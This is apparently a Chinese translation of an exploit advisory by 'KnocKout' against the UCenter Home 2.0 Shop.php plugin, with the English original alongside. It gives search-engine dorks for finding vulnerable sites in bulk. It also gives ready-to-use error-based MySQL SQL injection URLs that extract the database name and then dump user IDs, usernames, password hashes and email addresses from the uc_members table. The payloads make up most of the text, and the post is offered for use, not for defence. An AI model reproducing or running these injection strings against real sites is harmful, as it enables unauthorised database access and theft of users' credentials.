疑点解答：
有人没找到“Shop.php”，“Shop.php”是一个商品点评插件，有的没有，有的有。所以这个应该是：插件注入。有点鸡肋，杀伤力不强！
蓝色的是中文翻译，墨绿色的是英文原文。
作者: KnocKout
感谢: DaiMon,BARCOD3,RiskY and iranian hackers
联系: knockoutr@msn.com Cyber-Warrior.org/CWKnocKout
脚本: UCenter Home
版本: 2.0
官网: http://u.discuz.net/
批量搜索1: Powered by UCenter inurl:shop.php?ac=view
批量搜索2: inurl:shop.php?ac=view&shopid=
缺陷文件: Shop.php
利用方式: (?)ac=view&shopid=
缺陷类型: SQL注入（基于MySQL的错误）
需要编码: 十六进制转换
1，得到数据库名称
http://server/shop.php?ac=view&;shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
2，注入得到帐户密码信息
http://server/shop.php?ac=view&;shopid=253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
注入:
http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
数据库: 成功.
编辑数据库 `[TARGET DB NAME]`
例子: 'hiwir1_ucenter'
编辑: 成功.
你需要使用十六进制的转换，并编辑您的SQL注入漏洞。
利用代码:
http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
*/Author : KnocKout
*/Greatz : DaiMon,BARCOD3,RiskY and iranian hackers
*/Contact: knockoutr@msn.com
*/Cyber-Warrior.org/CWKnocKout
===================================================
Script: UCenter Home
Version: 2.0
Script HomePage: http://u.discuz.net/
===================================================
Dork: Powered by UCenter inurl:shop.php?ac=view
Dork 2: inurl:shop.php?ac=view&shopid=
===================================================
Vuln file: Shop.php
value's: (?)ac=view&shopid=
Vulnerable Style: SQL Injection (MySQL Error Based)
Need Metarials: Hex Conversion
===================================================
Your Need victim Database name.
for Inject:
http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
DB: Okey.
your edit DB `[TARGET DB NAME]`
Example: 'hiwir1_ucenter'
Edit: Okey.
Your use Hex conversion. And edit Your SQL Injection Exploit..
Exploit Code:
http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
留言评论（旧系统）：